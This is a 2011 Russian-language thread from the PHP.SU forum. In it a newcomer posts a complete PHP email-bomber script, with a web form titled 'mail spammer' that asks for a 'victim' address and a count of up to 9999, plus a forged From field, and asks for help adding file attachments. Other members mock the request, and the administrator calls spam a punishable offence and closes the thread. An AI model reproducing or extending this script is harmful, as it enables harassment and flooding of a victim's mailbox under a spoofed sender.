Warning: Cannot use a scalar value as an array in /home/admin/public_html/forum/include/fm.class.php on line 757

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/include/fm.class.php on line 770

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/topic.php on line 737
Форумы портала PHP.SU :: отправка писем

 PHP.SU

Программирование на PHP, MySQL и другие веб-технологии
PHP.SU Портал     На главную страницу форума Главная     Помощь Помощь     Поиск Поиск     Поиск Яндекс Поиск Яндекс     Вакансии  Пользователи Пользователи


 Страниц (1): [1]   

> Описание: отправка писем на почту
zed
Отправлено: 16 Августа, 2011 - 16:13:00
Post Id


Новичок


Покинул форум
Сообщений всего: 2
Дата рег-ции: Авг. 2011  


Помог: 0 раз(а)

[+][+]


Не знаю но может мне на этом сайте подскажут, требуется помощь знатоков хакеров в знании .php скриптах, так как я навечёк в .php скриптах. Есть скрипт для отправки писем с функцией количество вот скрипт:
PHP:
скопировать код в буфер обмена
  1. <?PHP  
  2.  
  3. class Bomb {  
  4.  
  5. function cli() {  
  6.   if(!defined("STDIN")) {  
  7.       define("STDIN", fopen('php://stdin','r'));  
  8.   }  
  9.  
  10.   print "Please enter the Target email Address : ";  
  11.   $target = fread(STDIN, 80);  
  12.   print "From = $target\n";  
  13.  
  14.   print "Please enter the from email Address :";  
  15.   $from = fread(STDIN, 80);  
  16.   print "From : $from\n";  
  17.  
  18.  
  19.   print "Please enter your message to the target(800 chr) :";  
  20.   $message = fread(STDIN, 800);  
  21.   print "Your message is :\n";  
  22.   print "$message";  
  23.  
  24.   print "Please enter a subject :";  
  25.   $subject = fread(STDIN, 80);  
  26.   print "Subject : $subject\n";  
  27.  
  28.   print "Please enter the Number of times to bomb(1-9999) :";  
  29.   $times = fread(STDIN, 4);  
  30.   print "Times : $times\n";  
  31.  
  32.       $this->send($target,$subject,$message,$from,$times);  
  33. }  
  34.  
  35. function html() {  
  36.   error_reporting(0);  
  37.       $target = $_POST['target'];  
  38.       $subject = $_POST['subject'];  
  39.       $message = $_POST['message'];  
  40.       $from = $_POST['from'];  
  41.       $times = $_POST['times'];  
  42. print "  
  43. <html>  
  44. <head><title>Спамилка  мыл</title>  
  45. <style>  
  46. body {  
  47. background-color: #350000;  
  48. color:#99ff32;  
  49. font-size: 15px;  
  50. }  
  51.  
  52. input {  
  53. background-color: #222222;  
  54. border: 1px solid #FFFFFF;  
  55. color:#76defc;  
  56. }  
  57. a {  
  58. color: #FFFFFF;  
  59. }  
  60. </style>  
  61. <body>  
  62. <center>  
  63. <form action='' method='POST'>  
  64. E-mail Жертвы :<br /> <INPUT NAME='target' TYPE='text'><BR>  
  65. Текст сообщения : <br /><INPUT NAME='message' TYPE='text'><BR>  
  66. Тема : <br /><INPUT NAME='subject' TYPE='text'><BR>  
  67. От кого : <br /><INPUT NAME='from' TYPE='text'><BR>  
  68. Кол-во писем (1-9999) : <br /><INPUT NAME='times' TYPE='text'><BR>  
  69. <input type='submit' value='Спамить нах!'>  
  70. </center>  
  71. </body>  
  72. </html>  
  73. ";  
  74.  
  75.   $this->send($target,$subject,$message,$from,$times);  
  76. }  
  77.  
  78.  
  79.  
  80. function send($target,$subject,$message,$from,$times) {  
  81.   $headers = "From: " . $from;    
  82.   $i = 1;    
  83.   while($i <= $times) {    
  84.       mail($target, $subject, $message, $headers);    
  85.       print "$i sent ";    
  86.       $i++;    
  87.       }  
  88.   }  
  89. }  
  90.  
  91.  
  92. $bomb = new Bomb;  
  93. $bomb->html(); // For HTML version  
  94. #$bomb->cli(); // For CLI version  
  95.  
  96.  
  97. ?>

--------------
Вопрос к знатокам хакерам
Вопрос 1: мне нужно в этот скрипт привязать аттач по другому форму отправки файлов вы как знатоки подскажите как к моему скрипту можно привязать аттач что и где нужно прописать чтоб привязать аттач, вот есть форма отправки файлов взята http://htmlbook[dot]ru/html/form/enctype вот форма аттача с одной загрузкой:
CODE (htmlphp):
скопировать код в буфер обмена
  1. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
  2. <html>
  3.  <head>
  4.   <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  5.   <title>Тег FORM, атрибут enctype</title>
  6.  </head>
  7.  <body>  
  8.   <form action="handler.php"
  9.   enctype="multipart/form-data" method="post">
  10.    <p>Загрузите файл с картинкой</p>
  11.    <p><input type="file" name="pic"></p>
  12.   </form>
  13.  </body>
  14. </html>

---------
единственное что я понял в этой форме привязки к скриптам это где handler.php тут надо прописать путь сама во скрипта, а дальше куда его надо вставлять и что прописывать я не магу понять, есть у меня ещё второй скрипт с 6-ти формами аттача но он не рабочий хотя на форе мне сказали что это не скрипт а простая форма но я не согласен вот код:

CODE (htmlphp):
скопировать код в буфер обмена
  1. <center>
  2. <form action="" method="post" enctype="multipart/form-data">
  3. <table>
  4. <tr>
  5. <td><input name="file1" type="file"></td>
  6. </tr>
  7. <tr>
  8. <tr>
  9. <td><input name="file2" type="file"></td>
  10. </tr>
  11. <tr>
  12. <tr>
  13. <td><input name="file3" type="file"></td>
  14. </tr>
  15. <tr>
  16. <tr>
  17. <td><input name="file4" type="file"></td>
  18. </tr>
  19. <tr>
  20. <tr>
  21. <td><input name="file5" type="file"></td>
  22. </tr>
  23. <tr>
  24. <tr>
  25. <td><input name="file6" type="file"></td>
  26. </tr>
  27. </table>
  28. E-mail :<br /> <INPUT NAME='target' TYPE='text'><BR>
  29. Текст сообщения : <br /><textarea name="message" rows=8 cols=27 wrap="no"></textarea><BR>
  30. Тема : <br /><INPUT NAME='subject' TYPE='text'><BR>
  31. От кого : <br /><INPUT NAME='from' TYPE='text'><BR>
  32. <b>Отправить раз: </b><input name="num" type="text" value=""> <br /><br /><BR>
  33. <input type='submit' value='otpravka'>
  34. </center>
  35. </body>
  36. </html>

---------
при проверки этот скрипт он не работает почему то, вы как знатоки подскажите мне ошибки в моих вопросах.


Отредактировано модератором: OrmaJever, 16 Августа, 2011 - 16:33:43
 
 Top
PATCH
Отправлено: 18 Августа, 2011 - 10:41:21
Post Id



Частый посетитель


Покинул форум
Сообщений всего: 924
Дата рег-ции: Апр. 2011  


Помог: 22 раз(а)




гы новичок php а полез в OOП. и что такое аттачи?D и зачем спамить на 1 емайл по 10000 писем? обычно 1 письмо по 10 000 емайлам спамят))
 
 Top
zed
Отправлено: 18 Августа, 2011 - 10:49:26
Post Id


Новичок


Покинул форум
Сообщений всего: 2
Дата рег-ции: Авг. 2011  


Помог: 0 раз(а)

[+][+]


PATCH пишет:
гы новичок php а полез в OOП. и что такое аттачи?D и зачем спамить на 1 емайл по 10000 писем? обычно 1 письмо по 10 000 емайлам спамят))


гинеальный ответ всмысле зачем спамить на 1 емайл по 10000 писем если-бы мне ненадо было-бы слать письма на 1емаил 100 писем за один раз яб наверно этот скрипт не вылаживал и помощи бы непросил-бы, я помоему формы аттача выложил вместе с криптами аттач это форма передачи файлов фоток и т д и помоему я изо аттача выложил скрипт с вопросам помочь прикрутить формы отправки в мой скрипт которые расспаложаны ниже скрипта
(Добавление)
zed пишет:
PATCH пишет:
гы новичок php а полез в OOП. и что такое аттачи?D и зачем спамить на 1 емайл по 10000 писем? обычно 1 письмо по 10 000 емайлам спамят))


гинеальный ответ всмысле зачем спамить на 1 емайл по 10000 писем если-бы мне ненадо было-бы слать письма на 1емаил 100 писем за один раз яб наверно этот скрипт не вылаживал и помощи бы непросил-бы, я помоему формы аттача выложил вместе с криптами аттач это форма передачи файлов фоток и т д и помоему я изо аттача выложил скрипт с вопросам помочь прикрутить формы отправки в мой скрипт которые расспаложаны ниже скрипта


И чё за брет OOП.
 
 Top
Мелкий Супермодератор
Отправлено: 18 Августа, 2011 - 11:05:51
Post Id



Активный участник


Покинул форум
Сообщений всего: 11926
Дата рег-ции: Июль 2009  
Откуда: Россия, Санкт-Петербург


Помог: 618 раз(а)




zed пишет:
Вопрос к знатокам хакерам

Не являясь хакером, отвечу - для сервера скрипт условно безопасен. В случае открытия письма в веб-морде может представлять угрозу для пользователя.
При чём тут вопросы "почему не работает" и как коррелирует с обращением к хакерам - не ясно.

Или вы за продуктами идёте в сталелитейный завод?


-----
PostgreSQL DBA
 
 Top
EuGen Администратор
Отправлено: 18 Августа, 2011 - 11:27:39
Post Id


Профессионал


Покинул форум
Сообщений всего: 9095
Дата рег-ции: Июнь 2007  
Откуда: Berlin


Помог: 707 раз(а)




zed пишет:
<title>Спамилка мыл</title>

Хотя бы не скрываетесь.
Для справки, спам - наказуемое преступление.

Положения ст. 18 закона «О рекламе» для борьбы со спамом, Ст. 18 ч. 1; Ст. 18 ч. 2
Тема закрыта!


-----
Есть в мире две бесконечные вещи - это Вселенная и человеческая глупость. Но насчет первой .. я не уверен.
 
 Top
Страниц (1): [1]
Сейчас эту тему просматривают: 0 (гостей: 0, зарегистрированных: 0)
« Если скрипт не работает »


Все гости форума могут просматривать этот раздел.
Только зарегистрированные пользователи могут создавать новые темы в этом разделе.
Только зарегистрированные пользователи могут отвечать на сообщения в этом разделе.
 



Powered by PHP  Powered By MySQL  Powered by Nginx  Valid CSS  RSS

 
Powered by ExBB FM 1.0 RC1. InvisionExBB